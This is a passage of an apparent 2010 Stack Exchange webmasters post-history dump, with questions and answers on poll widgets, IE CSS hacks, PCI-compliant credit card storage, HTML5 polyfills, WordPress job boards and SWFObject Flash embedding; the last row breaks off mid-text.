  <row Id="1828" PostHistoryTypeId="2" PostId="1015" RevisionGUID="f7c34359-9588-4411-80df-71384bfe2c97" CreationDate="2010-07-16T05:29:31.433" UserId="249" Text="I'm looking for a free/cheap embeddable poll that I can just stuff in an iframe - the page I've been tasked to maintain has been created in iWeb, which does not generate anything but the final markup of the page. Polldaddy seems nice, but if you get over 100 responses in a month you're instantly in the $200/year bracket. Are there any services that are free/cheaper that will do the same basic thing?&#xD;&#xA;&#xD;&#xA;What about software I can host myself? I'm willing to toss up a PHP script so long as I can embed it in iWeb's iframe." />
  <row Id="1829" PostHistoryTypeId="1" PostId="1015" RevisionGUID="f7c34359-9588-4411-80df-71384bfe2c97" CreationDate="2010-07-16T05:29:31.433" UserId="249" Text="Any free/affordable alternatives to Polldaddy?" />
  <row Id="1830" PostHistoryTypeId="3" PostId="1015" RevisionGUID="f7c34359-9588-4411-80df-71384bfe2c97" CreationDate="2010-07-16T05:29:31.433" UserId="249" Text="&lt;poll&gt;" />
  <row Id="1831" PostHistoryTypeId="2" PostId="1016" RevisionGUID="e52de4f3-5446-48ce-acbd-3fae5e817c3d" CreationDate="2010-07-16T05:43:03.143" UserId="179" Text="From a pure performance standpoint, caching will be more effective with a single file if for no other reason than it responds once to a single HTTP request from the client. In addition to serving the same file to every user regardless of browser, &lt;a href=&quot;http://www.phpied.com/conditional-comments-block-downloads/&quot;&gt;Conditional comments block downloads&lt;/a&gt; in some situations.&#xD;&#xA;&#xD;&#xA;To target all your different Internet Explorer versions in a single file there are various CSS hacks. Keep in mind that these will render your CSS invalid (if validation is a concern for you).&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;body {  &#xD;&#xA;	color: red;			/* all browsers */  &#xD;&#xA;	color : green\9;	/* IE8 and below */  &#xD;&#xA;	*color : yellow;	/* IE7 and below */  &#xD;&#xA;	_color : orange;	/* IE6 */  &#xD;&#xA;}&lt;/pre&gt;" />
  <row Id="1832" PostHistoryTypeId="5" PostId="1016" RevisionGUID="a7273b9f-35f5-47ca-9566-d864ea2d6818" CreationDate="2010-07-16T05:48:51.947" UserId="179" Comment="added 267 characters in body" Text="From a pure performance standpoint, caching will be more effective with a single file if for no other reason than it responds once to a single HTTP request from the client. In addition to serving the same file to every user regardless of browser, &lt;a href=&quot;http://www.phpied.com/conditional-comments-block-downloads/&quot;&gt;Conditional comments block downloads&lt;/a&gt; in some situations.&#xD;&#xA;&#xD;&#xA;To target all your different Internet Explorer versions in a single file there are various CSS hacks. Keep in mind that these will render your CSS invalid (if validation is a concern for you).&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;body {  &#xD;&#xA;	color: red;			/* all browsers */  &#xD;&#xA;	color : green\9;	/* IE8 and below */  &#xD;&#xA;	*color : yellow;	/* IE7 and below */  &#xD;&#xA;	_color : orange;	/* IE6 */  &#xD;&#xA;}&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The conditional comments blocking is really only an issue in &lt;em&gt;some&lt;/em&gt; cases in IE8 when there is a conditional comment. Depending on what you think about supporting Internet Explorer, this may or may not be an issue.&#xD;&#xA;&#xD;&#xA;I personally use conditional comments." />
  <row Id="1833" PostHistoryTypeId="2" PostId="1017" RevisionGUID="81297953-9a6e-4245-8e83-952931fa6636" CreationDate="2010-07-16T05:51:26.967" UserId="138" Text="I need to store credit card numbers for recurring billing through our 3rd party merchant.&#xD;&#xA;&#xD;&#xA;Are there any standards I need to adhere to regarding the storage of the details? We've been accepting credit cards for years but we used to discard their details as soon as we were done with them. Our customers have requested that we store their details so they don't have to manually pay their subscription fee each month.&#xD;&#xA;&#xD;&#xA;Moving to PayPal to utilise their subscriptions is not an option. We have to store them, and I need to make sure the storage is safe!&#xD;&#xA;&#xD;&#xA;We utlise MSSQL 2005 for our data, and everything is already SSL'd." />
  <row Id="1834" PostHistoryTypeId="1" PostId="1017" RevisionGUID="81297953-9a6e-4245-8e83-952931fa6636" CreationDate="2010-07-16T05:51:26.967" UserId="138" Text="Storing credit card details" />
  <row Id="1835" PostHistoryTypeId="3" PostId="1017" RevisionGUID="81297953-9a6e-4245-8e83-952931fa6636" CreationDate="2010-07-16T05:51:26.967" UserId="138" Text="&lt;security&gt;&lt;creditcard&gt;&lt;storage&gt;" />
  <row Id="1836" PostHistoryTypeId="2" PostId="1018" RevisionGUID="c2779dfb-212f-4da1-8628-eade343c2bfc" CreationDate="2010-07-16T05:56:29.593" UserId="55" Text="You will need to follow (to the letter) and preferably **exceed** the [PCI DSS][1] standard. This is, in no way, an easy task to accomplish nor should it be taken trivially.&#xD;&#xA;&#xD;&#xA;I ***strongly*** recommend that you find a third party processor that can handle this for you and integrate it into your billing system. It goes WAY beyond just having SSL and encrypting the information in the database. You also have to monitor access, detect intrusions, have systems in place that can notify only effected people in the event of a breach (and determine what data may have been compromised), etc.&#xD;&#xA;&#xD;&#xA;Then, there is physical access to the servers, the network, etc. This means a locked cabinet  that is not shared on servers that you own where the physical LAN is also protected. Compliance is not going to be cheap, or easy.&#xD;&#xA;&#xD;&#xA;Really, spend every effort possible to offload this to a third party. The liability alone is simply not worth the risk. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard" />
  <row Id="1837" PostHistoryTypeId="2" PostId="1019" RevisionGUID="0303024a-912e-499d-bb82-ade09e5e9ccd" CreationDate="2010-07-16T05:57:13.443" UserId="179" Text="Many answers you seek can be found at the &lt;a href=&quot;http://www.pcicomplianceguide.org/&quot;&gt;Payment Card Industry Compliance Guide&lt;/a&gt; website. Their &lt;a href=&quot;http://www.pcicomplianceguide.org/pcicompliancelinks.php&quot;&gt;Links&lt;/a&gt; page is particularly useful.&#xD;&#xA;&#xD;&#xA;The best suggestion would be to let a third party handle this storage." />
  <row Id="1838" PostHistoryTypeId="2" PostId="1020" RevisionGUID="c38a172b-bce1-4cd8-a4f0-e7ecba3462ed" CreationDate="2010-07-16T05:58:27.467" UserId="249" Text="After some searching I've found [Micropoll](http://www.micropoll.com/) which seems pretty good and seems to be free." />
  <row Id="1839" PostHistoryTypeId="2" PostId="1021" RevisionGUID="83acd770-2ee5-42ae-b3a7-c48763b291ca" CreationDate="2010-07-16T06:26:40.640" UserId="454" Text="The only engines that matter (for English content) are Google, Yahoo, and Bing - and soon enough, Bing's going to be powering Yahoo. &#xD;&#xA;&#xD;&#xA;While you can get [pretty technical][1] about the ranking differences, practically speaking the on-page optimization process is the same. &#xD;&#xA;&#xD;&#xA;Anecdotally, I've always found that Bing &amp; Yahoo are easier to trick than Google...an exact match domain &amp; some cheesy links will probably take you further in Bing than Google.&#xD;&#xA;&#xD;&#xA;But, while backlink analysis / weighting / ranking is very sophisticated search engine stuff, on-page crawling of HTML is simple, and the basics of keyword labeling and logical architecture should cover you for any modern search engine. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/google-vs-bing-correlation-analysis-of-ranking-elements" />
  <row Id="1840" PostHistoryTypeId="2" PostId="1022" RevisionGUID="745bfe46-aa6f-4043-8b71-f00b17e2c463" CreationDate="2010-07-16T06:30:44.360" UserId="179" Text="&lt;strong&gt;Yes.&lt;/strong&gt;&#xD;&#xA;&#xD;&#xA;To mitigate the issues with lack of feature support, use the following resources:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://code.google.com/p/html5shiv/&quot;&gt;html5shiv:&lt;/a&gt;&lt;/strong&gt; a JavaScript shiv for IE to recognize and style the HTML5 elements.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://css3pie.com/&quot;&gt;CSS3 Pie:&lt;/a&gt;&lt;/strong&gt; an IE attached behavior (an &lt;code&gt;.htc&lt;/code&gt; file) that makes Internet Explorer 6-8 capable of rendering several of the most useful CSS3 decoration features. When applied to an element, it allows IE to recognize and display &lt;code&gt;border-radius&lt;/code&gt;, &lt;code&gt;box-shadow&lt;/code&gt;, &lt;code&gt;border-image&lt;/code&gt;, multiple background images, and &lt;code&gt;linear-gradient&lt;/code&gt; as background image.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.modernizr.com/&quot;&gt;Modernizr:&lt;/a&gt;&lt;/strong&gt; a Javascript library that uses feature detection to test the current browser against upcoming CSS3/HTML5 features, adding classes to the &amp;lt;html&amp;gt; element for those which are supported. Also creates a self-titled global JavaScript object which contains a boolean property for each feature, &lt;code&gt;true&lt;/code&gt; if supported and &lt;code&gt;false&lt;/code&gt; if not. Adds support for styling and printing HTML5 elements so you can use elements such as &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.keithclark.co.uk/labs/ie-css3/&quot;&gt;ie-css3.js:&lt;/a&gt;&lt;/strong&gt; allows Internet Explorer to identify CSS3 pseudo-class selectors and render any style rules defined with them. Supports different CSS3 selectors based on which JavaScript library your site uses.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.dillerdesign.com/experiment/DD_belatedPNG/&quot;&gt;DD_belatedPNG:&lt;/a&gt;&lt;/strong&gt; a Javascript library that adds PNG image support to IE6. You can use PNGs as the &lt;code&gt;src&lt;/code&gt; of an &lt;code&gt;&amp;lt;img /&amp;gt;&lt;/code&gt; element or as a &lt;code&gt;background-image&lt;/code&gt; property in CSS. Unlike &lt;code&gt;AlphaImageLoader&lt;/code&gt;, &lt;code&gt;background-position&lt;/code&gt; and &lt;code&gt;background-repeat&lt;/code&gt; work as intended, and elements will respond to the &lt;code&gt;a:hover&lt;/code&gt; pseudo-class.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.twinhelix.com/css/iepngfix/&quot;&gt;TwinHelix IE PNG Fix:&lt;/a&gt;&lt;/strong&gt; an IE attached behavior (an &lt;code&gt;.htc&lt;/code&gt; file) that adds PNG support with alpha opacity to IE 6. Full CSS background positioning and repeat are supporting (including CSS sprites) with additional (included) JavaScript.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.xs4all.nl/~peterned/csshover.html&quot;&gt;Whatever:hover:&lt;/a&gt;&lt;/strong&gt; an IE attached behavior (an &lt;code&gt;.htc&lt;/code&gt; file) that automatically patches :hover, :active and :focus for IE6, IE7 and IE8 quirks, letting you use them like you would in any other browser. Includes AJAX support, meaning that any html that gets inserted into the document via javascript will also trigger &lt;code&gt;:hover&lt;/code&gt;, &lt;code&gt;:active&lt;/code&gt; and &lt;code&gt;:focus&lt;/code&gt; styles in IE.&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Interesting to note that DD_belatedPNG solves both issues addressed by Whatever:hover and TwinHelix's IE PNG Fix with pure JavaScript, while Whatever:hover and TwinHelix's IE PNG Fix use a combination of JavaScript and IE attached behaviors (&lt;code&gt;.htc files&lt;/code&gt;).&#xD;&#xA;&#xD;&#xA;Generally people who use non-IE browsers upgrade them when asked to, and so IE bears the brunt of &quot;But some browsers don't support this feature!&quot; complaints. Modernizr will add the ability to use HTML5/CSS3 to any browser you're likely to see and not just IE. ie-css3.js will do the same thing, you simply have to implement it without an IE conditional comment (which means &lt;em&gt;all&lt;/em&gt; browsers will end up getting it unless you include it with server-side user-agent checks &amp;ndash; this will greatly reduce performance for all of your visitors, rather than just your IE users.)" />
  <row Id="1841" PostHistoryTypeId="2" PostId="1023" RevisionGUID="1e8921b1-f868-437a-9976-314faa94bb6e" CreationDate="2010-07-16T06:37:31.040" UserId="460" Text="I wish to use WordPress installation for a job board.  Looking online I found the following two posts that give a list of options:&#xD;&#xA;http://www.wpmods.com/turn-wordpress-into-job-board/&#xD;&#xA;http://skyje.com/2010/01/job-board-solutions-for-wordpress/&#xD;&#xA;&#xD;&#xA;But all of the options (except 1) cost money.&#xD;&#xA;&#xD;&#xA;Is there a free (good) solution for WP job board (theme/plugins) ?&#xD;&#xA;" />
  <row Id="1842" PostHistoryTypeId="1" PostId="1023" RevisionGUID="1e8921b1-f868-437a-9976-314faa94bb6e" CreationDate="2010-07-16T06:37:31.040" UserId="460" Text="How can I use WordPress as a job board ? (but free)" />
  <row Id="1843" PostHistoryTypeId="3" PostId="1023" RevisionGUID="1e8921b1-f868-437a-9976-314faa94bb6e" CreationDate="2010-07-16T06:37:31.040" UserId="460" Text="&lt;wordpress&gt;&lt;theme&gt;&lt;cms&gt;" />
  <row Id="1844" PostHistoryTypeId="5" PostId="1022" RevisionGUID="7cc9a4d3-1184-46a2-9628-8be9ed4e8415" CreationDate="2010-07-16T06:43:22.273" UserId="179" Comment="added shameless self-promotion. i mean, link to another question regarding a similar and useful subject. " Text="&lt;strong&gt;Yes.&lt;/strong&gt;&#xD;&#xA;&#xD;&#xA;Another &lt;a href=&quot;http://webmasters.stackexchange.com/questions/49/what-is-new-in-html5-css3/990#990&quot;&gt;question on this site&lt;/a&gt; provides a good overview of the new features available to you through HTML5 and CSS3.&#xD;&#xA;&#xD;&#xA;To mitigate the issues with lack of feature support, use the following resources:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://code.google.com/p/html5shiv/&quot;&gt;html5shiv:&lt;/a&gt;&lt;/strong&gt; a JavaScript shiv for IE to recognize and style the HTML5 elements.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://css3pie.com/&quot;&gt;CSS3 Pie:&lt;/a&gt;&lt;/strong&gt; an IE attached behavior (an &lt;code&gt;.htc&lt;/code&gt; file) that makes Internet Explorer 6-8 capable of rendering several of the most useful CSS3 decoration features. When applied to an element, it allows IE to recognize and display &lt;code&gt;border-radius&lt;/code&gt;, &lt;code&gt;box-shadow&lt;/code&gt;, &lt;code&gt;border-image&lt;/code&gt;, multiple background images, and &lt;code&gt;linear-gradient&lt;/code&gt; as background image.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.modernizr.com/&quot;&gt;Modernizr:&lt;/a&gt;&lt;/strong&gt; a Javascript library that uses feature detection to test the current browser against upcoming CSS3/HTML5 features, adding classes to the &amp;lt;html&amp;gt; element for those which are supported. Also creates a self-titled global JavaScript object which contains a boolean property for each feature, &lt;code&gt;true&lt;/code&gt; if supported and &lt;code&gt;false&lt;/code&gt; if not. Adds support for styling and printing HTML5 elements so you can use elements such as &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.keithclark.co.uk/labs/ie-css3/&quot;&gt;ie-css3.js:&lt;/a&gt;&lt;/strong&gt; allows Internet Explorer to identify CSS3 pseudo-class selectors and render any style rules defined with them. Supports different CSS3 selectors based on which JavaScript library your site uses.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.dillerdesign.com/experiment/DD_belatedPNG/&quot;&gt;DD_belatedPNG:&lt;/a&gt;&lt;/strong&gt; a Javascript library that adds PNG image support to IE6. You can use PNGs as the &lt;code&gt;src&lt;/code&gt; of an &lt;code&gt;&amp;lt;img /&amp;gt;&lt;/code&gt; element or as a &lt;code&gt;background-image&lt;/code&gt; property in CSS. Unlike &lt;code&gt;AlphaImageLoader&lt;/code&gt;, &lt;code&gt;background-position&lt;/code&gt; and &lt;code&gt;background-repeat&lt;/code&gt; work as intended, and elements will respond to the &lt;code&gt;a:hover&lt;/code&gt; pseudo-class.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.twinhelix.com/css/iepngfix/&quot;&gt;TwinHelix IE PNG Fix:&lt;/a&gt;&lt;/strong&gt; an IE attached behavior (an &lt;code&gt;.htc&lt;/code&gt; file) that adds PNG support with alpha opacity to IE 6. Full CSS background positioning and repeat are supporting (including CSS sprites) with additional (included) JavaScript.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.xs4all.nl/~peterned/csshover.html&quot;&gt;Whatever:hover:&lt;/a&gt;&lt;/strong&gt; an IE attached behavior (an &lt;code&gt;.htc&lt;/code&gt; file) that automatically patches :hover, :active and :focus for IE6, IE7 and IE8 quirks, letting you use them like you would in any other browser. Includes AJAX support, meaning that any html that gets inserted into the document via javascript will also trigger &lt;code&gt;:hover&lt;/code&gt;, &lt;code&gt;:active&lt;/code&gt; and &lt;code&gt;:focus&lt;/code&gt; styles in IE.&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Interesting to note that DD_belatedPNG solves both issues addressed by Whatever:hover and TwinHelix's IE PNG Fix with pure JavaScript, while Whatever:hover and TwinHelix's IE PNG Fix use a combination of JavaScript and IE attached behaviors (&lt;code&gt;.htc files&lt;/code&gt;).&#xD;&#xA;&#xD;&#xA;Generally people who use non-IE browsers upgrade them when asked to, and so IE bears the brunt of &quot;But some browsers don't support this feature!&quot; complaints. Modernizr will add the ability to use HTML5/CSS3 to any browser you're likely to see and not just IE. ie-css3.js will do the same thing, you simply have to implement it without an IE conditional comment (which means &lt;em&gt;all&lt;/em&gt; browsers will end up getting it unless you include it with server-side user-agent checks &amp;ndash; this will greatly reduce performance for all of your visitors, rather than just your IE users.)" />
  <row Id="1845" PostHistoryTypeId="2" PostId="1024" RevisionGUID="2cb505b6-fc23-42cf-8bf5-5726d23b7823" CreationDate="2010-07-16T06:44:26.983" UserId="26" Text="So it looks to me, based on [this question][1] over on StumbleUpon's support site that there's a bit of a downside in terms of one aspect of SU, from a SU employee:&#xD;&#xA;&#xD;&#xA;&gt; Sorry, we can't redirect existing&#xD;&#xA;&gt; reviews to new urls, nor change the&#xD;&#xA;&gt; entry details for existing reviews. &#xD;&#xA;&gt; &#xD;&#xA;&gt; You may wish to ensure that you have a&#xD;&#xA;&gt; redirect on each of your &quot;old&quot; pages&#xD;&#xA;&gt; that have been reviewed, so that any&#xD;&#xA;&gt; visitors following that route end up&#xD;&#xA;&gt; at your new content.&#xD;&#xA;&#xD;&#xA;So basically changing the URL will disassociate the existing reviews and stumble data from the page. Now, users can still get there (assuming the redirects are done properly on the server), but there is a downside.&#xD;&#xA;&#xD;&#xA;But based on what I see of some sites that implement redirects, there *should* be no downside from changing the url. Still, I think I'm planning to not play with this for existing pages with high traffic.&#xD;&#xA;&#xD;&#xA;  [1]: http://getsatisfaction.com/stumbleupon/topics/need_help_on_updating_the_web_site_url" />
  <row Id="1846" PostHistoryTypeId="2" PostId="1025" RevisionGUID="eaa57dc8-8435-43eb-93d6-abc25177886f" CreationDate="2010-07-16T06:56:11.563" UserId="179" Text="I am in a similar situation. My company has their legacy website that does everything they need. In addition, they have a website being built by an outside company to replace it that does 90% of what they need. They expect that 90% to become 110%.&#xD;&#xA;&#xD;&#xA;I have decided on the following course of action:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;Maintain the legacy website until the new site is delivered&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Get the extra features integrated into the new site as quickly as possible&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Maintain the new website as if it were not being replaced&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Once everything is up and running, rebuild the site and create a migration plan&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Migrate to the new new site and forget that either of those old ones ever existed&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;As much as I'd like to simply ignore the other two sites, that's not an option. Regardless of how I feel about it, the site that is being delivered will have to serve us for a certain number of months before I can even attempt to replace it. Optimizing, maintaining, and improving upon it will be my priority. That site must perform during its lifetime. So building the new new site will be a during-those-times-that-everything-is-working and on-my-personal-time-when-I-want-to-hack-on-something project. But that's fine, since it manages everybody's expectations. The company that expects this new site to perform to a certain level will have their site performing at that level, and at the same time I'll be actively improving it behind the scenes. And at the same time again, I will be building a replacement that will blow it away.&#xD;&#xA;&#xD;&#xA;In my situation, my &quot;new site&quot; (from the outside company) is your legacy codebase, and my &quot;new new site&quot; is your should-I-just-rebuild-it. So I guess my short answer is that while maintaining the legacy codebase to keep the world turning, you can still rebuild." />
  <row Id="1847" PostHistoryTypeId="2" PostId="1026" RevisionGUID="d09cad96-151b-4d95-bff7-0f3d7480e2ca" CreationDate="2010-07-16T07:00:36.140" UserDisplayName="delete" Text="Don't really understand the question, do you mean&#xD;&#xA;&#xD;&#xA;     &lt;canvas&gt;Some text&lt;/canvas&gt;&#xD;&#xA;&#xD;&#xA;? That would be silly for reasons which have nothing to do with search engines. The `&lt;canvas&gt;` tag is for rendering using JavaScript, so your question is sort of equivalent to whether search engines can see text in JavaScript." />
  <row Id="1848" PostHistoryTypeId="5" PostId="1026" RevisionGUID="1e9e9ace-b7e1-491c-b393-55b9dc911701" CreationDate="2010-07-16T07:14:44.997" UserDisplayName="delete" Comment="added 40 characters in body" Text="Don't really understand the question, do you mean&#xD;&#xA;&#xD;&#xA;     &lt;canvas&gt;Some text&lt;/canvas&gt;&#xD;&#xA;&#xD;&#xA;? That would be silly for reasons which have nothing to do with search engines. The `&lt;canvas&gt;` tag is for rendering using JavaScript, so if you are asking about that, your question is sort of equivalent to whether search engines can see text written by JavaScript.&#xD;&#xA;" />
  <row Id="1849" PostHistoryTypeId="2" PostId="1027" RevisionGUID="273b84a7-0ec7-48fe-b940-b5f7b2bb8db3" CreationDate="2010-07-16T07:15:47.210" UserId="179" Text="If the text is in the HTML, between the &lt;code&gt;&amp;lt;canvas&amp;gt;&amp;lt;/canvas&amp;gt;&lt;/code&gt; tags, then yes. Although I'm unsure of what context the search engine would see that text in.&#xD;&#xA;&#xD;&#xA;If the text is drawn to the canvas then no." />
  <row Id="1850" PostHistoryTypeId="5" PostId="1022" RevisionGUID="2338e480-d4db-4313-8704-acc0bf0a1d75" CreationDate="2010-07-16T07:45:10.853" UserId="179" Comment="updated to outline some of the caveats to using those javascript fixer-uppers." Text="&lt;strong&gt;Probably.&lt;/strong&gt;&#xD;&#xA;&#xD;&#xA;There are parts of HTML5 that you can use right now, today. Forms for example. If you have &lt;code&gt;&amp;lt;input type=&quot;email&quot;&amp;gt;&lt;/code&gt; in a browser that doesn't support HTML5 (yes, even IE6) you will simply see the same thing you'd see if you used &lt;code&gt;&amp;lt;input type=&quot;text&quot;&amp;gt;&lt;/code&gt;. Yet on a browser that supports HTML5 form elements, you gain the advantages of the &lt;code&gt;email&lt;/code&gt; type: namely the client will error check the value with no extra JS required. While yes, you'll still need the JS for non-HTML5 browsers, you will have one more layer of validation in the supporting browsers.&#xD;&#xA;&#xD;&#xA;Another &lt;a href=&quot;http://webmasters.stackexchange.com/questions/49/what-is-new-in-html5-css3/990#990&quot;&gt;question on this site&lt;/a&gt; provides a good overview of the new features available to you through HTML5 and CSS3. There's a lot of good data on forms in that question, too.&#xD;&#xA;&#xD;&#xA;Because Internet Explorer (and older versions of Safari and Firefox, however rare they may be) do not support many of these features you are left with JavaScript libraries to fill the void. These include a performance hit (even though it's only for the browsers that need to use them) so be mindful of your users when employing them.&#xD;&#xA;&#xD;&#xA;To mitigate the issues with lack of feature support, should you decide that these new features are worth it, use the following resources:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://code.google.com/p/html5shiv/&quot;&gt;html5shiv:&lt;/a&gt;&lt;/strong&gt; a JavaScript shiv for IE to recognize and style the HTML5 elements.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://css3pie.com/&quot;&gt;CSS3 Pie:&lt;/a&gt;&lt;/strong&gt; an IE attached behavior (an &lt;code&gt;.htc&lt;/code&gt; file) that makes Internet Explorer 6-8 capable of rendering several of the most useful CSS3 decoration features. When applied to an element, it allows IE to recognize and display &lt;code&gt;border-radius&lt;/code&gt;, &lt;code&gt;box-shadow&lt;/code&gt;, &lt;code&gt;border-image&lt;/code&gt;, multiple background images, and &lt;code&gt;linear-gradient&lt;/code&gt; as background image.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.modernizr.com/&quot;&gt;Modernizr:&lt;/a&gt;&lt;/strong&gt; a Javascript library that uses feature detection to test the current browser against upcoming CSS3/HTML5 features, adding classes to the &amp;lt;html&amp;gt; element for those which are supported. Also creates a self-titled global JavaScript object which contains a boolean property for each feature, &lt;code&gt;true&lt;/code&gt; if supported and &lt;code&gt;false&lt;/code&gt; if not. Adds support for styling and printing HTML5 elements so you can use elements such as &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.keithclark.co.uk/labs/ie-css3/&quot;&gt;ie-css3.js:&lt;/a&gt;&lt;/strong&gt; allows Internet Explorer to identify CSS3 pseudo-class selectors and render any style rules defined with them. Supports different CSS3 selectors based on which JavaScript library your site uses.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.dillerdesign.com/experiment/DD_belatedPNG/&quot;&gt;DD_belatedPNG:&lt;/a&gt;&lt;/strong&gt; a Javascript library that adds PNG image support to IE6. You can use PNGs as the &lt;code&gt;src&lt;/code&gt; of an &lt;code&gt;&amp;lt;img /&amp;gt;&lt;/code&gt; element or as a &lt;code&gt;background-image&lt;/code&gt; property in CSS. Unlike &lt;code&gt;AlphaImageLoader&lt;/code&gt;, &lt;code&gt;background-position&lt;/code&gt; and &lt;code&gt;background-repeat&lt;/code&gt; work as intended, and elements will respond to the &lt;code&gt;a:hover&lt;/code&gt; pseudo-class.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.twinhelix.com/css/iepngfix/&quot;&gt;TwinHelix IE PNG Fix:&lt;/a&gt;&lt;/strong&gt; an IE attached behavior (an &lt;code&gt;.htc&lt;/code&gt; file) that adds PNG support with alpha opacity to IE 6. Full CSS background positioning and repeat are supporting (including CSS sprites) with additional (included) JavaScript.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.xs4all.nl/~peterned/csshover.html&quot;&gt;Whatever:hover:&lt;/a&gt;&lt;/strong&gt; an IE attached behavior (an &lt;code&gt;.htc&lt;/code&gt; file) that automatically patches :hover, :active and :focus for IE6, IE7 and IE8 quirks, letting you use them like you would in any other browser. Includes AJAX support, meaning that any html that gets inserted into the document via javascript will also trigger &lt;code&gt;:hover&lt;/code&gt;, &lt;code&gt;:active&lt;/code&gt; and &lt;code&gt;:focus&lt;/code&gt; styles in IE.&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Interesting to note that DD_belatedPNG solves both issues addressed by Whatever:hover and TwinHelix's IE PNG Fix with pure JavaScript, while Whatever:hover and TwinHelix's IE PNG Fix use a combination of JavaScript and IE attached behaviors (&lt;code&gt;.htc files&lt;/code&gt;).&#xD;&#xA;&#xD;&#xA;Generally people who use non-IE browsers upgrade them when asked to, and so IE bears the brunt of &quot;But some browsers don't support this feature!&quot; complaints. Modernizr will add the ability to use HTML5/CSS3 to any browser you're likely to see and not just IE. ie-css3.js will do the same thing, you simply have to implement it without an IE conditional comment (which means &lt;em&gt;all&lt;/em&gt; browsers will end up getting it unless you include it with server-side user-agent checks &amp;ndash; this will greatly reduce performance for all of your visitors, rather than just your IE users.)" />
  <row Id="1851" PostHistoryTypeId="2" PostId="1028" RevisionGUID="c897ee51-5ffb-4317-b54b-b04c2af69b80" CreationDate="2010-07-16T08:06:22.580" UserId="179" Text="&lt;a href=&quot;http://code.google.com/p/swfobject/&quot;&gt;SWFObject&lt;/a&gt; is what you're looking for. It's a Javascript library that does all the cross-browser heavy-lifting. Simply include the Javascript file in your page, create an element to be replaced in your source, and tell swfobject the name that that element and the path to the .swf file. &#xD;&#xA;&#xD;&#xA;It does the rest.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;swfobject.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xD;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xD;&#xA;    /* path, replacement element, width, height, minimum flash version */&#xD;&#xA;    swfobject.embedSWF(&quot;myContent.swf&quot;, &quot;myContent&quot;, &quot;300&quot;, &quot;120&quot;, &quot;9.0.0&quot;);&#xD;&#xA;&amp;lt;/script&amp;gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;That's all you need. Well, that and an element (usually a &lt;code&gt;div&lt;/code&gt;) with an &lt;code&gt;id=&quot;myContent&quot;&lt;/code&gt; on it. The element with that ID will be replaced with whatever embed tag setup your current browser prefers. &#xD;&#xA;&#xD;&#xA;The &lt;a 